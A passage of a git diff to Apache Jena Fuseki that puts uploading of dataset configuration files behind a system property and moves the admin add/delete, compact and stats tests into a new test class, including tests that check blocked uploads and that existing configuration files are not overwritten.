+    public static final String allowConfigFileProperty = "fuseki:allowAddByConfigFile";
+
+    /**
+     * Return whether to allow service configuration files to be uploaded as a file.
+     * See {@link ActionDatasets}.
+     */
+    public static boolean allowConfigFiles() {
+        String value = System.getProperty(allowConfigFileProperty);
+        if ( value != null )
+            return "true".equals(value);
+        return false;
+    }
+
     public /*package*/ synchronized static void formatBaseArea() {
         if ( initialized )
             return;
@@ -407,25 +426,6 @@ private static Path makePath(Path root , String relName ) {
         return path;
     }
 
-    /**
-     * Dataset set name to configuration file name. Return a configuration file name -
-     * existing one or ".ttl" form if new
-     */
-    public static String datasetNameToConfigurationFile(HttpAction action, String dsName) {
-        List<String> existing = existingConfigurationFile(dsName);
-        if ( ! existing.isEmpty() ) {
-            if ( existing.size() > 1 ) {
-                action.log.warn(format("[%d] Multiple existing configuration files for %s : %s",
-                                       action.id, dsName, existing));
-                ServletOps.errorBadRequest("Multiple existing configuration files for "+dsName);
-                return null;
-            }
-            return existing.get(0).toString();
-        }
-
-        return generateConfigurationFilename(dsName);
-    }
-
     /** New configuration file name - absolute filename */
     public static String generateConfigurationFilename(String dsName) {
         String filename = dsName;
@@ -437,10 +437,12 @@ public static String generateConfigurationFilename(String dsName) {
     }
 
     /** Return the filenames of all matching files in the configuration directory (absolute paths returned ). */
-    public static List<String> existingConfigurationFile(String baseFilename) {
+    public static List<String> existingConfigurationFile(String serviceName) {
+        String filename = DataAccessPoint.isCanonical(serviceName) ? serviceName.substring(1) : serviceName;
         try {
             List<String> paths = new ArrayList<>();
-            try (DirectoryStream<Path> stream = Files.newDirectoryStream(FusekiWebapp.dirConfiguration, baseFilename+".*") ) {
+            // This ".* is a file glob pattern, not a regular expression  - it looks for file extensions.
+            try (DirectoryStream<Path> stream = Files.newDirectoryStream(FusekiWebapp.dirConfiguration, filename+".*") ) {
                 stream.forEach((p)-> paths.add(FusekiWebapp.dirConfiguration.resolve(p).toString() ));
             }
             return paths;
diff --git a/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TS_FusekiWebapp.java b/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TS_FusekiWebapp.java
index cb517c964ce..14733687de9 100644
--- a/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TS_FusekiWebapp.java
+++ b/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TS_FusekiWebapp.java
@@ -33,6 +33,8 @@
     , TestWebappAuthUpdate_JDK.class
     , TestWebappFileUpload.class
     , TestWebappAdmin.class
+    , TestWebappAdminAddDeleteDatasetTemplate.class
+    , TestWebappAdminAddDeleteDatasetFile.class
     , TestWebappAdminAPI.class
     , TestWebappServerReadOnly.class
     , TestWebappMetrics.class
diff --git a/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdmin.java b/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdmin.java
index 74c0baf0a2c..a6c25fb468c 100644
--- a/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdmin.java
+++ b/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdmin.java
@@ -18,24 +18,25 @@
 
 package org.apache.jena.fuseki;
 
-import static org.apache.jena.fuseki.mgt.ServerMgtConst.*;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opBackup;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opDatasets;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opListBackups;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opServer;
 import static org.apache.jena.fuseki.server.ServerConst.opPing;
-import static org.apache.jena.fuseki.server.ServerConst.opStats;
-import static org.apache.jena.http.HttpOp.*;
+import static org.apache.jena.http.HttpOp.httpGet;
+import static org.apache.jena.http.HttpOp.httpGetJson;
+import static org.apache.jena.http.HttpOp.httpPost;
+import static org.apache.jena.http.HttpOp.httpPostRtnJSON;
 import static org.awaitility.Awaitility.await;
-import static org.junit.Assert.*;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.net.http.HttpRequest.BodyPublisher;
-import java.net.http.HttpRequest.BodyPublishers;
-import java.nio.file.Path;
 import java.util.ArrayList;
 import java.util.List;
-import java.util.Objects;
 import java.util.concurrent.TimeUnit;
 
-import org.apache.commons.lang3.SystemUtils;
 import org.apache.jena.atlas.io.IO;
 import org.apache.jena.atlas.json.JSON;
 import org.apache.jena.atlas.json.JsonArray;
@@ -53,22 +54,15 @@
 import org.apache.jena.riot.WebContent;
 import org.apache.jena.web.HttpSC;
 import org.awaitility.Awaitility;
-import org.junit.*;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
 
 /** Tests of the admin functionality */
 public class TestWebappAdmin extends AbstractFusekiWebappTest {
 
     // Name of the dataset in the assembler file.
-    static String dsTest      = "test-ds1";
-    static String dsTestInf   = "test-ds4";
-
-    // There are two Fuseki-TDB2 tests: add_delete_dataset_6() and compact_01().
-    //
-    // On certain build systems (GH action/Linux under load, ASF Jenkins sometimes),
-    // add_delete_dataset_6 fails (transactions active), or compact_01 (gets a 404),
-    // if the two databases are the same.
-    static String dsTestTdb2a = "test-tdb2a";
-    static String dsTestTdb2b = "test-tdb2b";
     static String fileBase    = "testing/";
 
     @Before public void setLogging() {
@@ -141,152 +135,6 @@ public class TestWebappAdmin extends AbstractFusekiWebappTest {
         checkJsonDatasetsOne(v.getAsObject());
     }
 
-    // Specific dataset
-    @Test public void add_delete_dataset_1() {
-        checkNotThere(dsTest);
-
-        addTestDataset();
-
-        // Check exists.
-        checkExists(dsTest);
-
-        // Remove it.
-        deleteDataset(dsTest);
-        checkNotThere(dsTest);
-    }
-
-    // Try to add twice
-    @Test public void add_delete_dataset_2() {
-        checkNotThere(dsTest);
-
-        try {
-            Path f = Path.of(fileBase+"config-ds-plain-1.ttl");
-            {
-                httpPost(ServerCtl.urlRoot()+"$/"+opDatasets,
-                         WebContent.contentTypeTurtle+"; charset="+WebContent.charsetUTF8,
-                         BodyPublishers.ofFile(f));
-            }
-            // Check exists.
-            checkExists(dsTest);
-            try {
-            } catch (HttpException ex) {
-                httpPost(ServerCtl.urlRoot()+"$/"+opDatasets,
-                         WebContent.contentTypeTurtle+"; charset="+WebContent.charsetUTF8,
-                         BodyPublishers.ofFile(f));
-                assertEquals(HttpSC.CONFLICT_409, ex.getStatusCode());
-            }
-        } catch (IOException ex) { IO.exception(ex); return; }
-
-        // Check exists.
-        checkExists(dsTest);
-        deleteDataset(dsTest);
-    }
-
-    @Test public void add_delete_dataset_3() {
-        checkNotThere(dsTest);
-        addTestDataset();
-        checkExists(dsTest);
-        deleteDataset(dsTest);
-        checkNotThere(dsTest);
-        addTestDataset();
-        checkExists(dsTest);
-        deleteDataset(dsTest);
-    }
-
-    @Test public void add_delete_dataset_4() {
-        checkNotThere(dsTest);
-        checkNotThere(dsTestInf);
-        addTestDatasetInf();
-        checkNotThere(dsTest);
-        checkExists(dsTestInf);
-
-        deleteDataset(dsTestInf);
-        checkNotThere(dsTestInf);
-        addTestDatasetInf();
-        checkExists(dsTestInf);
-        deleteDataset(dsTestInf);
-    }
-
-    @Test public void add_delete_dataset_5() {
-        // New style operations : cause two fuseki:names
-        addTestDataset(fileBase+"config-ds-plain-2.ttl");
-        checkExists("test-ds2");
-    }
-
-    @Test public void add_delete_dataset_6() {
-        String testDB = dsTestTdb2a;
-        assumeNotWindows();
-
-        checkNotThere(testDB);
-
-        addTestDatasetTDB2(testDB);
-
-        // Check exists.
-        checkExists(testDB);
-
-        // Remove it.
-        deleteDataset(testDB);
-        checkNotThere(testDB);
-    }
-
-    @Test public void add_error_1() {
-        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
-                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-1.ttl"));
-    }
-
-    @Test public void add_error_2() {
-        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
-                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-2.ttl"));
-    }
-
-    @Test public void add_error_3() {
-        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
-                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-3.ttl"));
-    }
-
-    @Test public void add_error_4() {
-        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
-                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-4.ttl"));
-    }
-
-    @Test public void delete_dataset_1() {
-        String name = "NoSuchDataset";
-        HttpTest.expect404( ()-> httpDelete(ServerCtl.urlRoot()+"$/"+opDatasets+"/"+name) );
-    }
-
-//    // ---- Active/Offline.
-//
-//    @Test public void state_1() {
-//        // Add one
-//        addTestDataset();
-//        try {
-//            checkExists(dsTest);
-//
-//            httpPost(ServerCtl.urlRoot()+"$/"+opDatasets+"/"+dsTest+"?state=offline");
-//
-//            checkExistsNotActive(dsTest);
-//
-//            httpPost(ServerCtl.urlRoot()+"$/"+opDatasets+"/"+dsTest+"?state=active");
-//
-//            checkExists(dsTest);
-//        } finally {
-//            deleteDataset(dsTest);
-//        }
-//    }
-//
-//    @Test public void state_2() {
-//        addTestDataset();
-//        httpPost(ServerCtl.urlRoot()+"$/"+opDatasets+"/"+dsTest+"?state=offline");
-//        deleteDataset(dsTest);
-//        checkNotThere(dsTest);
-//    }
-//
-//    @Test public void state_3() {
-//        addTestDataset();
-//        HttpTest.expect404(()->httpPost(ServerCtl.urlRoot()+"$/"+opDatasets+"/DoesNotExist?state=offline"));
-//        deleteDataset(dsTest);
-//    }
-
     // ---- Backup
 
     @Test public void create_backup_1() {
@@ -330,91 +178,6 @@ public void create_backup_2() {
         }
     }
 
-    // ---- Compact
-
-    @Test public void compact_01() {
-        assumeNotWindows();
-
-        String testDB = dsTestTdb2b;
-        try {
-            checkNotThere(testDB);
-            addTestDatasetTDB2(testDB);
-            checkExists(testDB);
-
-            String id = null;
-            try {
-                JsonValue v = httpPostRtnJSON(ServerCtl.urlRoot() + "$/" + opCompact + "/" + testDB);
-                id = v.getAsObject().getString(JsonConstCtl.taskId);
-            } finally {
-                waitForTasksToFinish(1000, 500, 20_000);
-            }
-            Assert.assertNotNull(id);
-            checkInTasks(id);
-
-            JsonValue task = getTask(id);
-            // ----
-            // The result assertion is throwing NPE occasionally on some heavily loaded CI servers.
-            // This may be because of server or test code encountering a very long wait.
-            // These next statements check the assumed structure of the return.
-            Assert.assertNotNull("Task value", task);
-            JsonObject obj = task.getAsObject();
-            Assert.assertNotNull("Task.getAsObject()", obj);
-            // Provoke code to get a stacktrace.
-            obj.getBoolean(JsonConstCtl.success);
-            // ----
-            // The assertion we really wanted to check.
-            // Check task success
-            Assert.assertTrue("Expected task to be marked as successful", task.getAsObject().getBoolean(JsonConstCtl.success));
-        } finally {
-            deleteDataset(testDB);
-        }
-    }
-
-    @Test public void compact_02() {
-        HttpTest.expect400(()->{
-            JsonValue v = httpPostRtnJSON(ServerCtl.urlRoot() + "$/" + opCompact + "/noSuchDataset");
-        });
-    }
-
-    private void assumeNotWindows() {
-        if (SystemUtils.IS_OS_WINDOWS)
-            throw new AssumptionViolatedException("Test may be unstable on Windows due to inability to delete memory-mapped files");
-    }
-
-    // ---- Server
-
-    // ---- Stats
-
-    @Test public void stats_1() {
-        JsonValue v = execGetJSON(ServerCtl.urlRoot()+"$/"+opStats);
-        checkJsonStatsAll(v);
-    }
-
-    @Test public void stats_2() {
-        addTestDataset();
-        JsonValue v = execGetJSON(ServerCtl.urlRoot()+"$/"+opStats+ServerCtl.datasetPath());
-        checkJsonStatsAll(v);
-        deleteDataset(dsTest);
-    }
-
-    @Test public void stats_3() {
-        addTestDataset();
-        HttpTest.expect404(()-> execGetJSON(ServerCtl.urlRoot()+"$/"+opStats+"/DoesNotExist"));
-        deleteDataset(dsTest);
-    }
-
-    @Test public void stats_4() {
-        JsonValue v = execPostJSON(ServerCtl.urlRoot()+"$/"+opStats);
-        checkJsonStatsAll(v);
-    }
-
-    @Test public void stats_5() {
-        addTestDataset();
-        JsonValue v = execPostJSON(ServerCtl.urlRoot()+"$/"+opStats+ServerCtl.datasetPath());
-        checkJsonStatsAll(v);
-        deleteDataset(dsTest);
-    }
-
     @Test public void sleep_1() {
         String x = execSleepTask(null, 1);
     }
@@ -542,44 +305,6 @@ private static JsonValue getDatasetDescription(String dsName) {
         }
     }
 
-    // -- Add
-
-    private static void addTestDataset() {
-        addTestDataset(fileBase+"config-ds-plain-1.ttl");
-    }
-
-    private static void addTestDatasetInf() {
-        addTestDataset(fileBase+"config-ds-inf.ttl");
-    }
-
-    private static void addTestDatasetTDB2(String DBname) {
-        Objects.nonNull(DBname);
-        if ( DBname.equals(dsTestTdb2a) ) {
-            addTestDataset(fileBase+"config-tdb2a.ttl");
-            return;
-        }
-        if ( DBname.equals(dsTestTdb2b) ) {
-            addTestDataset(fileBase+"config-tdb2b.ttl");
-            return;
-        }
-        throw new IllegalArgumentException("No configuration for "+DBname);
-    }
-
-    private static void addTestDataset(String filename) {
-        try {
-            Path f = Path.of(filename);
-            BodyPublisher body = BodyPublishers.ofFile(f);
-            String ct = WebContent.contentTypeTurtle;
-            httpPost(ServerCtl.urlRoot()+"$/"+opDatasets, ct, body);
-        } catch (FileNotFoundException e) {
-            IO.exception(e);
-        }
-    }
-
-    private static void deleteDataset(String name) {
-        httpDelete(ServerCtl.urlRoot()+"$/"+opDatasets+"/"+name);
-    }
-
     private static String execSleepTask(String name, int millis) {
         String url = ServerCtl.urlRoot()+"$/sleep";
         if ( name != null ) {
@@ -703,22 +428,6 @@ private static void checkExists(String name)  {
         askPing(name);
     }
 
-    private static void checkExistsNotActive(String name)  {
-        adminPing(name);
-        try { askPing(name);
-            fail("askPing did not cause an Http Exception");
-        } catch ( HttpException ex ) {}
-        JsonValue v = getDatasetDescription(name);
-        assertFalse(v.getAsObject().get("ds.state").getAsBoolean().value());
-    }
-
-    private static void checkNotThere(String name) {
-        String n = (name.startsWith("/")) ? name.substring(1) : name;
-        // Check gone exists.
-        HttpTest.expect404(()->  adminPing(n) );
-        HttpTest.expect404(() -> askPing(n) );
-    }
-
     private static void checkJsonDatasetsAll(JsonValue v) {
         assertNotNull(v.getAsObject().get("datasets"));
         JsonArray a = v.getAsObject().get("datasets").getAsArray();
@@ -734,63 +443,5 @@ private static void checkJsonDatasetsOne(JsonValue v) {
         assertNotNull(obj.get("ds.state"));
         assertTrue(obj.get("ds.services").isArray());
     }
-
-    private static void checkJsonStatsAll(JsonValue v) {
-        assertNotNull(v.getAsObject().get("datasets"));
-        JsonObject a = v.getAsObject().get("datasets").getAsObject();
-        for ( String dsname : a.keys() ) {
-            JsonValue obj = a.get(dsname).getAsObject();
-            checkJsonStatsOne(obj);
-        }
-    }
-
-    private static void checkJsonStatsOne(JsonValue v) {
-        checkJsonStatsCounters(v);
-        JsonObject obj1 = v.getAsObject().get("endpoints").getAsObject();
-        for ( String srvName : obj1.keys() ) {
-            JsonObject obj2 = obj1.get(srvName).getAsObject();
-            assertTrue(obj2.hasKey("description"));
-            assertTrue(obj2.hasKey("operation"));
-            checkJsonStatsCounters(obj2);
-        }
-    }
-
-    private static void checkJsonStatsCounters(JsonValue v) {
-        JsonObject obj = v.getAsObject();
-        assertTrue(obj.hasKey("Requests"));
-        assertTrue(obj.hasKey("RequestsGood"));
-        assertTrue(obj.hasKey("RequestsBad"));
-    }
-
-    private static JsonValue execGetJSON(String url) {
-        try ( TypedInputStream in = httpGet(url) ) {
-            AssertExtra.assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
-            return JSON.parse(in);
-        }
-    }
-
-    private static JsonValue execPostJSON(String url) {
-        try ( TypedInputStream in = httpPostStream(url, null, null, null) ) {
-            AssertExtra.assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
-            return JSON.parse(in);
-        }
-    }
-
-    /*
-        GET     /$/ping
-        POST    /$/ping
-        POST    /$/datasets/
-        GET     /$/datasets/
-        DELETE  /$/datasets/*{name}*
-        GET     /$/datasets/*{name}*
-        POST    /$/datasets/*{name}*?state=offline
-        POST    /$/datasets/*{name}*?state=active
-        POST    /$/backup/*{name}*
-        POST    /$/compact/*{name}*
-        GET     /$/server
-        POST    /$/server/shutdown
-        GET     /$/stats/
-        GET     /$/stats/*{name}*
-     */
 }
 
diff --git a/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetFile.java b/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetFile.java
new file mode 100644
index 00000000000..a566e4e3a16
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetFile.java
@@ -0,0 +1,679 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.jena.fuseki;
+
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opBackup;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opCompact;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opDatasets;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opListBackups;
+import static org.apache.jena.fuseki.server.ServerConst.opStats;
+import static org.apache.jena.http.HttpOp.*;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.http.HttpRequest.BodyPublisher;
+import java.net.http.HttpRequest.BodyPublishers;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.TimeUnit;
+
+import org.apache.commons.lang3.SystemUtils;
+import org.apache.jena.atlas.io.IO;
+import org.apache.jena.atlas.json.JSON;
+import org.apache.jena.atlas.json.JsonArray;
+import org.apache.jena.atlas.json.JsonObject;
+import org.apache.jena.atlas.json.JsonValue;
+import org.apache.jena.atlas.junit.AssertExtra;
+import org.apache.jena.atlas.lib.Lib;
+import org.apache.jena.atlas.logging.LogCtl;
+import org.apache.jena.atlas.web.HttpException;
+import org.apache.jena.atlas.web.TypedInputStream;
+import org.apache.jena.fuseki.ctl.JsonConstCtl;
+import org.apache.jena.fuseki.test.HttpTest;
+import org.apache.jena.fuseki.webapp.FusekiWebapp;
+import org.apache.jena.query.QueryExecution;
+import org.apache.jena.rdfconnection.RDFConnection;
+import org.apache.jena.riot.WebContent;
+import org.apache.jena.web.HttpSC;
+import org.awaitility.Awaitility;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.jupiter.api.Test;
+
+/** Tests of the admin functionality */
+public class TestWebappAdminAddDeleteDatasetFile extends AbstractFusekiWebappTest {
+
+    // Name of the dataset in the assembler file.
+    static String dsTest      = "test-ds1";
+    static String dsTestInf   = "test-ds4";
+
+    // There are two Fuseki-TDB2 tests: add_delete_dataset_6() and compact_01().
+    //
+    // On certain build systems (GH action/Linux under load, ASF Jenkins sometimes),
+    // add_delete_dataset_6 fails (transactions active), or compact_01 (gets a 404),
+    // if the two databases are the same.
+    static String dsTestTdb2a = "test-tdb2a";
+    static String dsTestTdb2b = "test-tdb2b";
+    static String fileBase    = "testing/";
+
+    @Before public void setLogging() {
+        LogCtl.setLevel(Fuseki.backupLogName, "ERROR");
+        LogCtl.setLevel(Fuseki.compactLogName,"ERROR");
+        LogCtl.setLevel(Fuseki.adminLogName,"ERROR");
+        Awaitility.setDefaultPollDelay(20,TimeUnit.MILLISECONDS);
+        Awaitility.setDefaultPollInterval(50,TimeUnit.MILLISECONDS);
+    }
+
+    @After public void unsetLogging() {
+        LogCtl.setLevel(Fuseki.backupLogName, "WARN");
+        LogCtl.setLevel(Fuseki.compactLogName,"WARN");
+        LogCtl.setLevel(Fuseki.adminLogName,"WARN");
+    }
+
+    private static void withFileEnabled(Runnable action) {
+        System.setProperty(FusekiWebapp.allowConfigFileProperty, "true");
+        try {
+            action.run();
+        } finally {
+            System.getProperties().remove(FusekiWebapp.allowConfigFileProperty);
+        }
+    }
+
+    // --- List all datasets
+
+    @Test public void list_datasets_1() {
+        try ( TypedInputStream in = httpGet(ServerCtl.urlRoot()+"$/"+opDatasets); ) {
+            IO.skipToEnd(in);
+        }
+    }
+
+    @Test public void list_datasets_2() {
+        try ( TypedInputStream in = httpGet(ServerCtl.urlRoot()+"$/"+opDatasets) ) {
+            assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
+            JsonValue v = JSON.parseAny(in);
+            assertNotNull(v.getAsObject().get("datasets"));
+            checkJsonDatasetsAll(v);
+        }
+    }
+
+    // Specific dataset
+    @Test public void list_datasets_3() {
+        checkExists(ServerCtl.datasetName());
+    }
+
+    // Specific dataset
+    @Test public void list_datasets_4() {
+        HttpTest.expect404( () -> getDatasetDescription("does-not-exist") );
+    }
+
+    // Specific dataset
+    @Test public void list_datasets_5() {
+        JsonValue v = getDatasetDescription(ServerCtl.datasetName());
+        checkJsonDatasetsOne(v.getAsObject());
+    }
+
+    @Test public void add_dataset_blocked() {
+        // Do without enabling upload of configuration files - expected to fail
+        HttpException ex = assertThrows(HttpException.class, ()->addTestDatasetPerform(fileBase+"config-ds-plain-1.ttl"));
+        assertEquals(ex.getStatusCode(), HttpSC.BAD_REQUEST_400);
+    }
+
+    // Specific dataset
+    @Test public void add_delete_dataset_1() {
+        checkNotThere(dsTest);
+
+        addTestDataset();
+
+        // Check exists.
+        checkExists(dsTest);
+
+        // Remove it.
+        deleteDataset(dsTest);
+        checkNotThere(dsTest);
+    }
+
+    // Try to add twice
+    @Test public void add_delete_dataset_2() {
+        checkNotThere(dsTest);
+
+        withFileEnabled(()->{
+            try {
+                Path f = Path.of(fileBase+"config-ds-plain-1.ttl");
+                {
+                    httpPost(ServerCtl.urlRoot()+"$/"+opDatasets,
+                             WebContent.contentTypeTurtle+"; charset="+WebContent.charsetUTF8,
+                             BodyPublishers.ofFile(f));
+                }
+                // Check exists.
+                checkExists(dsTest);
+                try {
+                } catch (HttpException ex) {
+                    httpPost(ServerCtl.urlRoot()+"$/"+opDatasets,
+                             WebContent.contentTypeTurtle+"; charset="+WebContent.charsetUTF8,
+                             BodyPublishers.ofFile(f));
+                    assertEquals(HttpSC.CONFLICT_409, ex.getStatusCode());
+                }
+            } catch (IOException ex) { IO.exception(ex); return; }
+        });
+        // Check exists.
+        checkExists(dsTest);
+        deleteDataset(dsTest);
+    }
+
+    @Test public void add_delete_dataset_3() {
+        checkNotThere(dsTest);
+        addTestDataset();
+        checkExists(dsTest);
+        deleteDataset(dsTest);
+        checkNotThere(dsTest);
+        addTestDataset();
+        checkExists(dsTest);
+        deleteDataset(dsTest);
+    }
+
+    @Test public void add_delete_dataset_4() {
+        checkNotThere(dsTest);
+        checkNotThere(dsTestInf);
+        addTestDatasetInf();
+        checkNotThere(dsTest);
+        checkExists(dsTestInf);
+
+        deleteDataset(dsTestInf);
+        checkNotThere(dsTestInf);
+        addTestDatasetInf();
+        checkExists(dsTestInf);
+        deleteDataset(dsTestInf);
+    }
+
+    @Test public void add_delete_dataset_5() {
+        // New style operations : cause two fuseki:names
+        addTestDataset(fileBase+"config-ds-plain-2.ttl");
+        checkExists("test-ds2");
+    }
+
+    @Test public void add_delete_dataset_6() {
+        String testDB = dsTestTdb2a;
+        assumeNotWindows();
+
+        checkNotThere(testDB);
+
+        addTestDatasetTDB2(testDB);
+
+        // Check exists.
+        checkExists(testDB);
+
+        // Remove it.
+        deleteDataset(testDB);
+        checkNotThere(testDB);
+    }
+
+    @Test public void add_delete_dataset_TDB_1() {
+            String testDB = dsTestTdb2a;
+            assumeNotWindows();
+
+            checkNotThere(testDB);
+
+            addTestDatasetTDB2(testDB);
+
+            // Check exists.
+            checkExists(testDB);
+
+            // Remove it.
+            deleteDataset(testDB);
+            checkNotThere(testDB);
+    }
+
+    @Test public void add_delete_dataset_TDB_2() {
+            // This has location "--mem--"
+            String testDB = dsTestTdb2b;
+            checkNotThere(testDB);
+            addTestDatasetTDB2(testDB);
+            // Check exists.
+            checkExists(testDB);
+            // Remove it.
+            deleteDataset(testDB);
+            checkNotThere(testDB);
+    }
+
+    @Test public void add_error_1() {
+        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-1.ttl"));
+    }
+
+    @Test public void add_error_2() {
+        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-2.ttl"));
+    }
+
+    @Test public void add_error_3() {
+        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-3.ttl"));
+    }
+
+    @Test public void add_error_4() {
+        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-4.ttl"));
+    }
+
+    @Test public void noOverwriteExistingConfigFile() throws IOException {
+        var workingDir = Paths.get("").toAbsolutePath();
+        var path = workingDir.resolve(TS_FusekiWebapp.FusekiTestBase+"/configuration/test-ds0-empty.ttl");
+        var dbConfig = path.toFile();
+        dbConfig.createNewFile();
+        try {
+            // refresh the file system so that the file exists
+            dbConfig = path.toFile();
+            assertTrue (dbConfig.exists());
+            assertEquals(0, dbConfig.length());
+
+            // Try to override the file with a new configuration.
+            String ct = WebContent.contentTypeHTMLForm;
+            String body = "dbName=test-ds0-empty&dbType=mem";
+            HttpException ex = assertThrows(org.apache.jena.atlas.web.HttpException.class,
+                                            ()-> httpPost(ServerCtl.urlRoot()+"$/" + opDatasets, ct, body));
+            assertEquals(HttpSC.CONFLICT_409, ex.getStatusCode());
+            // refresh the file system
+            dbConfig = path.toFile();
+            assertTrue(dbConfig.exists());
+            assertEquals("File should be still empty", 0, dbConfig.length());
+        }
+        finally {
+            // Clean up the file.
+            if (Files.exists(path)) {
+                Files.delete(path);
+            }
+        }
+    }
+
+    @Test public void delete_dataset_1() {
+        String name = "NoSuchDataset";
+        HttpTest.expect404( ()-> httpDelete(ServerCtl.urlRoot()+"$/"+opDatasets+"/"+name) );
+    }
+
+    // ---- Backup
+
+    @Test public void create_backup_1() {
+        String id = null;
+        try {
+            JsonValue v = httpPostRtnJSON(ServerCtl.urlRoot() + "$/" + opBackup + "/" + ServerCtl.datasetName());
+            id = v.getAsObject().getString("taskId");
+        } finally {
+            waitForTasksToFinish(1000, 10, 20000);
+        }
+        Assert.assertNotNull(id);
+        checkInTasks(id);
+
+        // Check a backup was created
+        try ( TypedInputStream in = httpGet(ServerCtl.urlRoot()+"$/"+opListBackups) ) {
+            assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
+            JsonValue v = JSON.parseAny(in);
+            assertNotNull(v.getAsObject().get("backups"));
+            JsonArray a = v.getAsObject().get("backups").getAsArray();
+            Assert.assertEquals(1, a.size());
+        }
+
+        JsonValue task = getTask(id);
+        Assert.assertNotNull(id);
+        // Expect task success
+        Assert.assertTrue("Expected task to be marked as successful", task.getAsObject().getBoolean(JsonConstCtl.success));
+    }
+
+    @Test
+    public void create_backup_2() {
+        HttpTest.expect400(()->{
+            JsonValue v = httpPostRtnJSON(ServerCtl.urlRoot() + "$/" + opBackup + "/noSuchDataset");
+        });
+    }
+
+    @Test public void list_backups_1() {
+        try ( TypedInputStream in = httpGet(ServerCtl.urlRoot()+"$/"+opListBackups) ) {
+            assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
+            JsonValue v = JSON.parseAny(in);
+            assertNotNull(v.getAsObject().get("backups"));
+        }
+    }
+
+    // ---- Compact
+
+    @Test public void compact_01() {
+        assumeNotWindows();
+
+        String testDB = dsTestTdb2b;
+        try {
+            checkNotThere(testDB);
+            addTestDatasetTDB2(testDB);
+            checkExists(testDB);
+
+            String id = null;
+            try {
+                JsonValue v = httpPostRtnJSON(ServerCtl.urlRoot() + "$/" + opCompact + "/" + testDB);
+                id = v.getAsObject().getString(JsonConstCtl.taskId);
+            } finally {
+                waitForTasksToFinish(1000, 500, 20_000);
+            }
+            Assert.assertNotNull(id);
+            checkInTasks(id);
+
+            JsonValue task = getTask(id);
+            // ----
+            // The result assertion is throwing NPE occasionally on some heavily loaded CI servers.
+            // This may be because of server or test code encountering a very long wait.
+            // These next statements check the assumed structure of the return.
+            Assert.assertNotNull("Task value", task);
+            JsonObject obj = task.getAsObject();
+            Assert.assertNotNull("Task.getAsObject()", obj);
+            // Provoke code to get a stacktrace.
+            obj.getBoolean(JsonConstCtl.success);
+            // ----
+            // The assertion we really wanted to check.
+            // Check task success
+            Assert.assertTrue("Expected task to be marked as successful", task.getAsObject().getBoolean(JsonConstCtl.success));
+        } finally {
+            deleteDataset(testDB);
